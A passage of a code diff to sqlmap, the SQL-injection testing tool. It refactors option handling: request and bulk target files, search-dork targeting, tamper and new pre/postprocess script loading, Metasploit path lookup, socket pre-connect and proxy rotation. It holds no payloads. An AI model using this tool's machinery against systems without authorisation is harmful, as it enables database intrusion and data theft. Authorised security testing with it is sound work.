message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + match = re.search(r"\bresumed: '(.+\.\.\.)", message) + if match: + string = match.group(1) + message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + match = re.search(r" \('(.+)'\)\Z", message) or re.search(r"output: '(.+)'\Z", message) + if match: + string = match.group(1) + message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted + string = match.group(1) + message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset)) + + if prefix: + message = "%s%s" % (prefix, message) + + message = message.replace("%s]" % self.bold, "]%s" % self.bold) # dirty patch + + return message + disableColor = False for argument in sys.argv: @@ -30,7 +102,7 @@ if disableColor: LOGGER_HANDLER = logging.StreamHandler(sys.stdout) else: - LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout) + LOGGER_HANDLER = _ColorizingStreamHandler(sys.stdout) LOGGER_HANDLER.level_map[logging.getLevelName("PAYLOAD")] = (None, "cyan", False) LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC OUT")] = (None, "magenta", False) LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC IN")] = ("magenta", None, False) diff --git a/lib/core/option.py b/lib/core/option.py index 5797daf93f2..75981997f80 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1,13 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -import cookielib +from __future__ import division + +import codecs +import collections +import functools import glob import inspect +import json import logging import os import random @@ -17,15 +22,7 @@ import tempfile import threading import time -import urllib2 -import urlparse - -import lib.controller.checks -import lib.core.common -import lib.core.threads -import lib.core.convert -import lib.request.connect -import lib.utils.search +import traceback from lib.controller.checks import checkConnection from lib.core.common import Backend @@ -33,14 +30,15 @@ from lib.core.common import checkFile from lib.core.common import dataToStdout from lib.core.common import decodeStringEscape -from lib.core.common import getPublicTypeMembers -from lib.core.common import getSafeExString -from lib.core.common import getUnicode +from lib.core.common import fetchRandomAgent +from lib.core.common import filterNone from lib.core.common import findLocalPort from lib.core.common import findPageForms from lib.core.common import getConsoleWidth from lib.core.common import getFileItems from lib.core.common import getFileType +from lib.core.common import getPublicTypeMembers +from lib.core.common import getSafeExString from lib.core.common import intersect from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes @@ -54,12 +52,17 @@ from lib.core.common import resetCookieJar from lib.core.common import runningAsAdmin from lib.core.common import safeExpandUser +from lib.core.common import safeFilepathEncode from lib.core.common import saveConfig from lib.core.common import setColor from lib.core.common import setOptimize from lib.core.common import setPaths from lib.core.common import singleTimeWarnMessage from lib.core.common import urldecode +from lib.core.compat import cmp +from lib.core.compat import round +from lib.core.compat import xrange +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -67,6 +70,8 @@ from lib.core.data import queries from lib.core.datatype import AttribDict from lib.core.datatype import InjectionDict +from lib.core.datatype import LRUDict +from lib.core.datatype import OrderedSet from lib.core.defaults import defaults from lib.core.dicts import DBMS_DICT from lib.core.dicts import DUMP_REPLACEMENTS @@ -74,8 +79,10 @@ from lib.core.enums import AUTH_TYPE from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import DUMP_FORMAT +from lib.core.enums import FORK from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD +from lib.core.enums import MKSTEMP_PREFIX from lib.core.enums import MOBILES from lib.core.enums import OPTION_TYPE from lib.core.enums import PAYLOAD @@ -91,12 +98,12 @@ from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapMissingPrivileges -from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.exception import SqlmapUserQuitException +from lib.core.exception import SqlmapValueException from lib.core.log import FORMATTER from lib.core.optiondict import optDict from lib.core.settings import CODECS_LIST_PAGE @@ -108,6 +115,7 @@ from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS from lib.core.settings import DEFAULT_USER_AGENT from lib.core.settings import DUMMY_URL +from lib.core.settings import IGNORE_CODE_WILDCARD from lib.core.settings import IS_WIN from lib.core.settings import KB_CHARS_BOUNDARY_CHAR from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET @@ -117,13 +125,12 @@ from lib.core.settings import NULL from lib.core.settings import PARAMETER_SPLITTING_REGEX from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT +from lib.core.settings import PROXY_ENVIRONMENT_VARIABLES from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_OS from lib.core.settings import TIME_DELAY_CANDIDATES -from lib.core.settings import UNICODE_ENCODING -from lib.core.settings import UNION_CHAR_REGEX from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import URI_INJECTABLE_REGEX from lib.core.threads import getCurrentThreadData @@ -132,31 +139,35 @@ from lib.parse.configfile import configFileParser from lib.parse.payloads import loadBoundaries from lib.parse.payloads import loadPayloads -from lib.parse.sitemap import parseSitemap from lib.request.basic import checkCharEncoding +from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler +from lib.request.chunkedhandler import ChunkedHandler from lib.request.connect import Connect as Request from lib.request.dns import DNSServer -from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler from lib.request.httpshandler import HTTPSHandler from lib.request.pkihandler import HTTPSPKIAuthHandler from lib.request.rangehandler import HTTPRangeHandler from lib.request.redirecthandler import SmartRedirectHandler -from lib.request.templates import getPageTemplate -from lib.utils.har import HTTPCollectorFactory from lib.utils.crawler import crawl from lib.utils.deps import checkDependencies -from lib.utils.search import search +from lib.utils.har import HTTPCollectorFactory from lib.utils.purge import purge +from lib.utils.search import search +from thirdparty import six from thirdparty.keepalive import keepalive from thirdparty.multipart import multipartpost -from thirdparty.oset.pyoset import oset +from thirdparty.six.moves import collections_abc as _collections +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import http_cookiejar as _http_cookiejar +from thirdparty.six.moves import urllib as _urllib from thirdparty.socks import socks from xml.etree.ElementTree import ElementTree -authHandler = urllib2.BaseHandler() +authHandler = _urllib.request.BaseHandler() +chunkedHandler = ChunkedHandler() httpsHandler = HTTPSHandler() keepAliveHandler = keepalive.HTTPHandler() -proxyHandler = urllib2.ProxyHandler() +proxyHandler = _urllib.request.ProxyHandler() redirectHandler = SmartRedirectHandler() rangeHandler = HTTPRangeHandler() multipartPostHandler = multipartpost.MultipartPostHandler() @@ -224,7 +235,7 @@ def _setMultipleTargets(): errMsg = "the specified list of targets does not exist" raise SqlmapFilePathException(errMsg) - if os.path.isfile(conf.logFile): + if checkFile(conf.logFile, False): for target in parseRequestFile(conf.logFile): url, _, data, _, _ = target key = re.sub(r"(\w+=)[^%s ]*" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER), r"\g<1>", "%s %s" % (url, data)) @@ -287,27 +298,36 @@ def _setRequestFromFile(): """ if conf.requestFile: - conf.requestFile = safeExpandUser(conf.requestFile) - seen = set() + for requestFile in re.split(PARAMETER_SPLITTING_REGEX, conf.requestFile): + requestFile = safeExpandUser(requestFile) + url = None + seen = set() - if not os.path.isfile(conf.requestFile): - errMsg = "specified HTTP request file '%s' " % conf.requestFile - errMsg += "does not exist" - raise SqlmapFilePathException(errMsg) + if not checkFile(requestFile, False): + errMsg = "specified HTTP request file '%s' " % requestFile + errMsg += "does not exist" + raise SqlmapFilePathException(errMsg) - infoMsg = "parsing HTTP request from '%s'" % conf.requestFile - logger.info(infoMsg) + infoMsg = "parsing HTTP request from '%s'" % requestFile + logger.info(infoMsg) - for target in parseRequestFile(conf.requestFile): - url = target[0] - if url not in seen: - kb.targets.add(target) - seen.add(url) + for target in parseRequestFile(requestFile): + url = target[0] + if url not in seen: + kb.targets.add(target) + if len(kb.targets) > 1: + conf.multipleTargets = True + seen.add(url) + + if url is None: + errMsg = "specified file '%s' " % requestFile + errMsg += "does not contain a usable HTTP request (with parameters)" + raise SqlmapDataException(errMsg) if conf.secondReq: conf.secondReq = safeExpandUser(conf.secondReq) - if not os.path.isfile(conf.secondReq): + if not checkFile(conf.secondReq, False): errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq errMsg += "does not exist" raise SqlmapFilePathException(errMsg) @@ -315,31 +335,24 @@ def _setRequestFromFile(): infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq logger.info(infoMsg) - target = next(parseRequestFile(conf.secondReq, False)) - kb.secondReq = target + try: + target = next(parseRequestFile(conf.secondReq, False)) + kb.secondReq = target + except StopIteration: + errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq + errMsg += "does not contain a valid HTTP request" + raise SqlmapDataException(errMsg) def _setCrawler(): if not conf.crawlDepth: return - if not any((conf.bulkFile, conf.sitemapUrl)): - crawl(conf.url) - else: - if conf.bulkFile: - targets = getFileItems(conf.bulkFile) - else: - targets = parseSitemap(conf.sitemapUrl) - for i in xrange(len(targets)): - try: - target = targets[i] - crawl(target) - - if conf.verbose in (1, 2): - status = "%d/%d links visited (%d%%)" % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets))) - dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) - except Exception as ex: - errMsg = "problem occurred while crawling at '%s' ('%s')" % (target, getSafeExString(ex)) - logger.error(errMsg) + if not conf.bulkFile: + if conf.url: + crawl(conf.url) + elif conf.requestFile and kb.targets: + target = next(iter(kb.targets)) + crawl(target[0], target[2], target[3]) def _doSearch(): """ @@ -362,7 +375,7 @@ def retrieve(): for link in links: link = urldecode(link) - if re.search(r"(.*?)\?(.+)", link): + if re.search(r"(.*?)\?(.+)", link) or conf.forms: kb.targets.add((link, conf.method, conf.data, conf.cookie, None)) elif re.search(URI_INJECTABLE_REGEX, link, re.I): if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork: @@ -377,20 +390,24 @@ def retrieve(): links = retrieve() if kb.targets: - infoMsg = "sqlmap got %d results for your " % len(links) - infoMsg += "search dork expression, " + infoMsg = "found %d results for your " % len(links) + infoMsg += "search dork expression" - if len(links) == len(kb.targets): - infoMsg += "all " - else: - infoMsg += "%d " % len(kb.targets) + if not conf.forms: + infoMsg += ", " + + if len(links) == len(kb.targets): + infoMsg += "all " + else: + infoMsg += "%d " % len(kb.targets) + + infoMsg += "of them are testable targets" - infoMsg += "of them are testable targets" logger.info(infoMsg) break else: - message = "sqlmap got %d results " % len(links) + message = "found %d results " % len(links) message += "for your search dork expression, but none of them " message += "have GET parameters to test for SQL injection. " message += "Do you want to skip to the next result page? [Y/n]" @@ -400,6 +417,44 @@ def retrieve(): else: conf.googlePage += 1 +def _setStdinPipeTargets(): + if conf.url: + return + + if isinstance(conf.stdinPipe, _collections.Iterable): + infoMsg = "using 'STDIN' for parsing targets list" + logger.info(infoMsg) + + class _(object): + def __init__(self): + self.__rest = OrderedSet() + + def __iter__(self): + return self + + def __next__(self): + return self.next() + + def next(self): + try: + line = next(conf.stdinPipe) + except (IOError, OSError, TypeError, UnicodeDecodeError): + line = None + + if line: + match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I) + if match: + return (match.group(0), conf.method, conf.data, conf.cookie, None) + elif self.__rest: + return self.__rest.pop() + + raise StopIteration() + + def add(self, elem): + self.__rest.add(elem) + + kb.targets = _() + def _setBulkMultipleTargets(): if not conf.bulkFile: return @@ -409,37 +464,23 @@ def _setBulkMultipleTargets(): infoMsg = "parsing multiple targets list from '%s'" % conf.bulkFile logger.info(infoMsg) - if not os.path.isfile(conf.bulkFile): + if not checkFile(conf.bulkFile, False): errMsg = "the specified bulk file " errMsg += "does not exist" raise SqlmapFilePathException(errMsg) found = False for line in getFileItems(conf.bulkFile): - if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line: - found = True - kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None)) - - if not found and not conf.forms and not conf.crawlDepth: - warnMsg = "no usable links found (with GET parameters)" - logger.warn(warnMsg) + if conf.scope and not re.search(conf.scope, line, re.I): + continue -def _setSitemapTargets(): - if not conf.sitemapUrl: - return - - infoMsg = "parsing sitemap '%s'" % conf.sitemapUrl - logger.info(infoMsg) - - found = False - for item in parseSitemap(conf.sitemapUrl): - if re.match(r"[^ ]+\?(.+)", item, re.I): + if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line or conf.data: found = True - kb.targets.add((item.strip(), None, None, None, None)) + kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None)) if not found and not conf.forms and not conf.crawlDepth: warnMsg = "no usable links found (with GET parameters)" - logger.warn(warnMsg) + logger.warning(warnMsg) def _findPageForms(): if not conf.forms or conf.crawlDepth: @@ -448,25 +489,33 @@ def _findPageForms(): if conf.url and not checkConnection(): return + found = False infoMsg = "searching for forms" logger.info(infoMsg) - if not any((conf.bulkFile, conf.googleDork, conf.sitemapUrl)): - page, _, _ = Request.queryPage(content=True) - findPageForms(page, conf.url, True, True) + if not any((conf.bulkFile, conf.googleDork)): + page, _, _ = Request.queryPage(content=True, ignoreSecondOrder=True) + if findPageForms(page, conf.url, True, True): + found = True else: if conf.bulkFile: targets = getFileItems(conf.bulkFile) - elif conf.sitemapUrl: - targets = parseSitemap(conf.sitemapUrl) elif conf.googleDork: targets = [_[0] for _ in kb.targets] kb.targets.clear() + else: + targets = [] + for i in xrange(len(targets)): try: - target = targets[i] - page, _, _ = Request.getPage(url=target.strip(), crawling=True, raise404=False) - findPageForms(page, target, False, True) + target = targets[i].strip() + + if not re.search(r"(?i)\Ahttp[s]*://", target): + target = "http://%s" % target + + page, _, _ = Request.getPage(url=target.strip(), cookie=conf.cookie, crawling=True, raise404=False) + if findPageForms(page, target, False, True): + found = True if conf.verbose in (1, 2): status = '%d/%d links visited (%d%%)' % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets))) @@ -477,6 +526,10 @@ def _findPageForms(): errMsg = "problem occurred while searching for forms at '%s' ('%s')" % (target, getSafeExString(ex)) logger.error(errMsg) + if not found: + warnMsg = "no forms found" + logger.warning(warnMsg) + def _setDBMSAuthentication(): """ Check and set the DBMS authentication credentials to run statements as @@ -515,26 +568,14 @@ def _setMetasploit(): errMsg = "sqlmap requires third-party module 'pywin32' " errMsg += "in order to use Metasploit functionalities on " errMsg += "Windows. You can download it from " - errMsg += "'https://sourceforge.net/projects/pywin32/files/pywin32/'" + errMsg += "'https://github.com/mhammond/pywin32'" raise SqlmapMissingDependence(errMsg) if not conf.msfPath: - def _(key, value): - retVal = None - - try: - from _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE - _ = ConnectRegistry(None, HKEY_LOCAL_MACHINE) - _ = OpenKey(_, key) - retVal = QueryValueEx(_, value)[0] - except: - logger.debug("unable to identify Metasploit installation path via registry key") - - return retVal - - conf.msfPath = _(r"SOFTWARE\Rapid7\Metasploit", "Location") - if conf.msfPath: - conf.msfPath = os.path.join(conf.msfPath, "msf3") + for candidate in os.environ.get("PATH", "").split(';'): + if all(_ in candidate for _ in ("metasploit", "bin")): + conf.msfPath = os.path.dirname(candidate.rstrip('\\')) + break if conf.osSmb: isAdmin = runningAsAdmin() @@ -571,16 +612,16 @@ def _(key, value): warnMsg += "or more of the needed Metasploit executables " warnMsg += "within msfcli, msfconsole, msfencode and " warnMsg += "msfpayload do not exist" - logger.warn(warnMsg) + logger.warning(warnMsg) else: warnMsg = "you did not provide the local path where Metasploit " warnMsg += "Framework is installed" - logger.warn(warnMsg) + logger.warning(warnMsg) if not msfEnvPathExists: warnMsg = "sqlmap is going to look for Metasploit Framework " warnMsg += "installation inside the environment path(s)" - logger.warn(warnMsg) + logger.warning(warnMsg) envPaths = os.environ.get("PATH", "").split(";" if IS_WIN else ":") @@ -655,10 +696,10 @@ def _setTechnique(): validTechniques = sorted(getPublicTypeMembers(PAYLOAD.TECHNIQUE), key=lambda x: x[1]) validLetters = [_[0][0].upper() for _ in validTechniques] - if conf.tech and isinstance(conf.tech, basestring): + if conf.technique and isinstance(conf.technique, six.string_types): _ = [] - for letter in conf.tech.upper(): + for letter in conf.technique.upper(): if letter not in validLetters: errMsg = "value for --technique must be a string composed " errMsg += "by the letters %s. Refer to the " % ", ".join(validLetters) @@ -670,7 +711,7 @@ def _setTechnique(): _.append(validInt) break - conf.tech = _ + conf.technique = _ def _setDBMS(): """ @@ -684,7 +725,7 @@ def _setDBMS(): logger.debug(debugMsg) conf.dbms = conf.dbms.lower() - regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join([alias for alias in SUPPORTED_DBMS])), conf.dbms, re.I) + regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join(SUPPORTED_DBMS)), conf.dbms, re.I) if regex: conf.dbms = regex.group(1) @@ -692,7 +733,7 @@ def _setDBMS(): if conf.dbms not in SUPPORTED_DBMS: errMsg = "you provided an unsupported back-end database management " - errMsg += "system. Supported DBMSes are as follows: %s. " % ', '.join(sorted(_ for _ in DBMS_DICT)) + errMsg += "system. Supported DBMSes are as follows: %s. " % ', '.join(sorted((_ for _ in (list(DBMS_DICT) + getPublicTypeMembers(FORK, True))), key=str.lower)) errMsg += "If you do not know the back-end DBMS, do not provide " errMsg += "it and sqlmap will fingerprint it for you." raise SqlmapUnsupportedDBMSException(errMsg) @@ -713,7 +754,7 @@ def _listTamperingFunctions(): logger.info(infoMsg) for script in sorted(glob.glob(os.path.join(paths.SQLMAP_TAMPER_PATH, "*.py"))): - content = openFile(script, "rb").read() + content = openFile(script, 'r').read() match = re.search(r'(?s)__priority__.+"""(.+)"""', content) if match: comment = match.group(1).strip() @@ -733,8 +774,8 @@ def _setTamperingFunctions(): for script in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper): found = False - path = paths.SQLMAP_TAMPER_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING) - script = script.strip().encode(sys.getfilesystemencoding() or UNICODE_ENCODING) + path = safeFilepathEncode(paths.SQLMAP_TAMPER_PATH) + script = safeFilepathEncode(script.strip()) try: if not script: @@ -769,17 +810,18 @@ def _setTamperingFunctions(): sys.path.insert(0, dirname) try: - module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) + module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: - raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (filename[:-3], getSafeExString(ex))) + raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__ + priority = priority if priority is not None else PRIORITY.LOWEST for name, function in inspect.getmembers(module, inspect.isfunction): - if name == "tamper" and inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs": + if name == "tamper" and (hasattr(inspect, "signature") and all(_ in inspect.signature(function).parameters for _ in ("payload", "kwargs")) or inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs"): found = True kb.tamperFunctions.append(function) - function.func_name = module.__name__ + function.__name__ = module.__name__ if check_priority and priority > last_priority: message = "it appears that you might have mixed " @@ -805,7 +847,7 @@ def _setTamperingFunctions(): function() except Exception as ex: errMsg = "error occurred while checking dependencies " - errMsg += "for tamper module '%s' ('%s')" % (filename[:-3], getSafeExString(ex)) + errMsg += "for tamper module '%s' ('%s')" % (getUnicode(filename[:-3]), getSafeExString(ex)) raise SqlmapGenericException(errMsg) if not found: @@ -819,47 +861,169 @@ def _setTamperingFunctions(): logger.warning(warnMsg) if resolve_priorities and priorities: - priorities.sort(reverse=True) + priorities.sort(key=functools.cmp_to_key(lambda a, b: cmp(a[0], b[0])), reverse=True) kb.tamperFunctions = [] for _, function in priorities: kb.tamperFunctions.append(function) -def _setWafFunctions(): +def _setPreprocessFunctions(): """ - Loads WAF/IPS detecting functions from script(s) + Loads preprocess function(s) from given script(s) """ - if conf.identifyWaf: - for found in glob.glob(os.path.join(paths.SQLMAP_WAF_PATH, "*.py")): - dirname, filename = os.path.split(found) + if conf.preprocess: + for script in re.split(PARAMETER_SPLITTING_REGEX, conf.preprocess): + found = False + function = None + + script = safeFilepathEncode(script.strip()) + + try: + if not script: + continue + + if not os.path.exists(script): + errMsg = "preprocess script '%s' does not exist" % script + raise SqlmapFilePathException(errMsg) + + elif not script.endswith(".py"): + errMsg = "preprocess script '%s' should have an extension '.py'" % script + raise SqlmapSyntaxException(errMsg) + except UnicodeDecodeError: + errMsg = "invalid character provided in option '--preprocess'" + raise SqlmapSyntaxException(errMsg) + + dirname, filename = os.path.split(script) dirname = os.path.abspath(dirname) - if filename == "__init__.py": - continue + infoMsg = "loading preprocess module '%s'" % filename[:-3] + logger.info(infoMsg) - debugMsg = "loading WAF script '%s'" % filename[:-3] - logger.debug(debugMsg) + if not os.path.exists(os.path.join(dirname, "__init__.py")): + errMsg = "make sure that there is an empty file '__init__.py' " + errMsg += "inside of preprocess scripts directory '%s'" % dirname + raise SqlmapGenericException(errMsg) + + if dirname not in sys.path: + sys.path.insert(0, dirname) + + try: + module = __import__(safeFilepathEncode(filename[:-3])) + except Exception as ex: + raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) + + for name, function in inspect.getmembers(module, inspect.isfunction): + try: + if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)): + found = True + + kb.preprocessFunctions.append(function) + function.__name__ = module.__name__ + + break + except ValueError: # Note: https://github.com/sqlmapproject/sqlmap/issues/4357 + pass + + if not found: + errMsg = "missing function 'preprocess(req)' " + errMsg += "in preprocess script '%s'" % script + raise SqlmapGenericException(errMsg) + else: + try: + function(_urllib.request.Request("http://localhost")) + except Exception as ex: + tbMsg = traceback.format_exc() + + if conf.debug: + dataToStdout(tbMsg) + + handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py") + os.close(handle) + + openFile(filename, "w+").write("#!/usr/bin/env\n\ndef preprocess(req):\n pass\n") + openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+").write("pass") + + errMsg = "function 'preprocess(req)' " + errMsg += "in preprocess script '%s' " % script + errMsg += "had issues in a test run ('%s'). " % getSafeExString(ex) + errMsg += "You can find a template script at '%s'" % filename + raise SqlmapGenericException(errMsg) + +def _setPostprocessFunctions(): + """ + Loads postprocess function(s) from given script(s) + """ + + if conf.postprocess: + for script in re.split(PARAMETER_SPLITTING_REGEX, conf.postprocess): + found = False + function = None + + script = safeFilepathEncode(script.strip()) + + try: + if not script: + continue + + if not os.path.exists(script): + errMsg = "postprocess script '%s' does not exist" % script + raise SqlmapFilePathException(errMsg) + + elif not script.endswith(".py"): + errMsg = "postprocess script '%s' should have an extension '.py'" % script + raise SqlmapSyntaxException(errMsg) + except UnicodeDecodeError: + errMsg = "invalid character provided in option '--postprocess'" + raise SqlmapSyntaxException(errMsg) + + dirname, filename = os.path.split(script) + dirname = os.path.abspath(dirname) + + infoMsg = "loading postprocess module '%s'" % filename[:-3] + logger.info(infoMsg) + + if not os.path.exists(os.path.join(dirname, "__init__.py")): + errMsg = "make sure that there is an empty file '__init__.py' " + errMsg += "inside of postprocess scripts directory '%s'" % dirname + raise SqlmapGenericException(errMsg) if dirname not in sys.path: sys.path.insert(0, dirname) try: - if filename[:-3] in sys.modules: - del sys.modules[filename[:-3]] - module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) - except ImportError as ex: - raise SqlmapSyntaxException("cannot import WAF script '%s' (%s)" % (filename[:-3], getSafeExString(ex))) - - _ = dict(inspect.getmembers(module)) - if "detect" not in _: - errMsg = "missing function 'detect(get_page)' " - errMsg += "in WAF script '%s'" % found + module = __import__(safeFilepathEncode(filename[:-3])) + except Exception as ex: + raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) + + for name, function in inspect.getmembers(module, inspect.isfunction): + if name == "postprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")): + found = True + + kb.postprocessFunctions.append(function) + function.__name__ = module.__name__ + + break + + if not found: + errMsg = "missing function 'postprocess(page, headers=None, code=None)' " + errMsg += "in postprocess script '%s'" % script raise SqlmapGenericException(errMsg) else: - kb.wafFunctions.append((_["detect"], _.get("__product__", filename[:-3]))) + try: + _, _, _ = function("", {}, None) + except: + handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py") + os.close(handle) + + openFile(filename, "w+").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n return page, headers, code\n") + openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+").write("pass") - kb.wafFunctions = sorted(kb.wafFunctions, key=lambda _: "generic" in _[1].lower()) + errMsg = "function 'postprocess(page, headers=None, code=None)' " + errMsg += "in postprocess script '%s' " % script + errMsg += "should return a tuple '(page, headers, code)' " + errMsg += "(Note: find template script at '%s')" % filename + raise SqlmapGenericException(errMsg) def _setThreads(): if not isinstance(conf.threads, int) or conf.threads <= 0: @@ -871,12 +1035,13 @@ def _setDNSCache(): """ def _getaddrinfo(*args, **kwargs): - if args in kb.cache.addrinfo: - return kb.cache.addrinfo[args] + key = (args, frozenset(kwargs.items())) - else: - kb.cache.addrinfo[args] = socket._getaddrinfo(*args, **kwargs) - return kb.cache.addrinfo[args] + if key in kb.cache.addrinfo: + return kb.cache.addrinfo[key] + + kb.cache.addrinfo[key] = socket._getaddrinfo(*args, **kwargs) + return kb.cache.addrinfo[key] if not hasattr(socket, "_getaddrinfo"): socket._getaddrinfo = socket.getaddrinfo @@ -884,7 +1049,7 @@ def _getaddrinfo(*args, **kwargs): def _setSocketPreConnect(): """ - Makes a pre-connect version of socket.connect + Makes a pre-connect version of socket.create_connection """ if conf.disablePrecon: @@ -893,19 +1058,31 @@ def _setSocketPreConnect(): def _thread(): while kb.get("threadContinue") and not conf.get("disablePrecon"): try: - for key in socket._ready: - if len(socket._ready[key]) < SOCKET_PRE_CONNECT_QUEUE_SIZE: - family, type, proto, address = key - s = socket.socket(family, type, proto) - s._connect(address) + with kb.locks.socket: + keys = list(socket._ready.keys()) + + for key in keys: + with kb.locks.socket: + q = socket._ready.get(key) + if q is None or len(q) >= SOCKET_PRE_CONNECT_QUEUE_SIZE: + continue + args = key[0] + kwargs = dict(key[1]) + + s = socket._create_connection(*args, **kwargs) + + with kb.locks.socket: + q = socket._ready.get(key) + if q is not None and len(q) < SOCKET_PRE_CONNECT_QUEUE_SIZE: + q.append((s, time.time())) + s = None + + if s is not None: try: - if type == socket.SOCK_STREAM: - # Reference: https://www.techrepublic.com/article/tcp-ip-options-for-high-performance-data-transmission/ - s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) + s.close() except: pass - with kb.locks.socket: - socket._ready[key].append((s._sock, time.time())) + except KeyboardInterrupt: break except: @@ -913,33 +1090,45 @@ def _thread(): finally: time.sleep(0.01) - def connect(self, address): - found = False + def create_connection(*args, **kwargs): + retVal = None + stale = [] - key = (self.family, self.type, self.proto, address) + key = (tuple(args), frozenset(kwargs.items())) with kb.locks.socket: if key not in socket._ready: - socket._ready[key] = [] - while len(socket._ready[key]) > 0: - candidate, created = socket._ready[key].pop(0) + socket._ready[key] = collections.deque() + + q = socket._ready[key] + while len(q) > 0: + candidate, created = q.popleft() if (time.time() - created) < PRECONNECT_CANDIDATE_TIMEOUT: - self._sock = candidate - found = True + retVal = candidate break else: - try: - candidate.shutdown(socket.SHUT_RDWR) - candidate.close() - except socket.error: - pass + stale.append(candidate) + + for candidate in stale: + try: + candidate.shutdown(socket.SHUT_RDWR) + candidate.close() + except: + pass - if not found: - self._connect(address) + if not retVal: + retVal = socket._create_connection(*args, **kwargs) + else: + try: + retVal.settimeout(kwargs.get("timeout", socket.getdefaulttimeout())) + except: + pass + + return retVal - if not hasattr(socket.socket, "_connect"): + if not hasattr(socket, "_create_connection"): socket._ready = {} - socket.socket._connect = socket.socket.connect - socket.socket.connect = connect + socket._create_connection = socket.create_connection + socket.create_connection = create_connection thread = threading.Thread(target=_thread) setDaemon(thread) @@ -949,114 +1138,121 @@ def _setHTTPHandlers(): """ Check and set the HTTP/SOCKS proxy for all HTTP requests. """ - global proxyHandler - for _ in ("http", "https"): - if hasattr(proxyHandler, "%s_open" % _): - delattr(proxyHandler, "%s_open" % _) + with kb.locks.handlers: + if conf.proxyList: + conf.proxy = conf.proxyList[0] + conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1] - if conf.proxyList is not None: - if not conf.proxyList: - errMsg = "list of usable proxies is exhausted" - raise SqlmapNoneDataException(errMsg) + if len(conf.proxyList) > 1: + infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy + logger.info(infoMsg) - conf.proxy = conf.proxyList[0] - conf.proxyList = conf.proxyList[1:] - - infoMsg = "loading proxy '%s' from a supplied 